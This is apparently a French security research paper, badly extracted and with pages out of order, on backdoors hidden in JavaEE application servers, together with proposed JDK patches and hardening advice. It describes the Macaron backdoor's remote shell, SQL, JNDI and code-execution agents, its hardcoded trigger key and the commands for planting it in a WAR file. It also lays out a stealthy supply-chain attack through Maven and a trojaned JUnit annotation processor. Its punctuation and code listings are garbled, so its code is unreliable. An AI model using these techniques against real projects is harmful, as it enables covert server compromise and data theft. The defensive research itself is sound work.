Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
P Prados 411
Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant
ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou
laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames
Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7
Fig 7 Configuration
Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres
27 Le scenario drsquoexecution
Le scenario drsquoexecution de la porte derobee est le suivant
ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-
nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation
ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement
des requetes lors de la presentation de la clef
412 Porte derobee dans les serveurs drsquoapplications JavaEE
28 Les agents
Differents agents sont proposes par la porte derobee
ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser
Fig 8 History
Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs
Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont
cd ltjndi_name gt
ls
dump ltjndi -name gt
P Prados 413
Fig 9 JNDI
La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes
Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont
cd ltJMX name gt
ls
ltattr gt=ltvaleur gt
method(ltparams gt)
Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut
La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees
Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration
414 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 10 JMX
Fig 11 JDBC
P Prados 415
Fig 12 JavaJavascript
Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur
Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur
Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest
pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur
Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK
Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur
Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI
416 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 13 Shell
Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles
3 Demonstration
Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution
Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire
Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire
Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee
Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee
P Prados 417
Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement
Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage
Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications
Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges
Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour
augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves
ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE
Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela
31 Execution
Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent
La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant
Chaque agent utilise un protocole qui lui est propre
32 Executer la demonstration
Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication
Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar
418 Porte derobee dans les serveurs drsquoapplications JavaEE
ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample
war
ndash httpwwwspringsourceorgdownload
Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console
$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar
$ mkdir -p WEB -INFlib
$ mv macaron -backdoor jar WEB -INFlib
$ jar -uf samplewar WEB -INF
$ cp samplewar $CATALINA_HOMEwebapps
Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication
export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-
actions
Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant
grant
Pour Macaron Backdoor
permission javautilPropertyPermission macaron -backdoorread
permission javalangRuntimePermission createClassLoader
permission javalangRuntimePermission getProtectionDomain
Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique
Puis lancez Tomcat
$ $CATALINA_HOMEbincatalinash run -security
Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n
33 Diffusion du code
La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact
P Prados 419
La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques
Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites
La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication
Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production
4 Propagation
Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne
Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource
Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine
Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier
Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement
En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle
7 httpmavenapacheorg
420 Porte derobee dans les serveurs drsquoapplications JavaEE
dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole
Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela
Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut
ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en
attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee
ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1
Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet
Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace
Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9
La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable
5 Les solutions
Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif
Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications
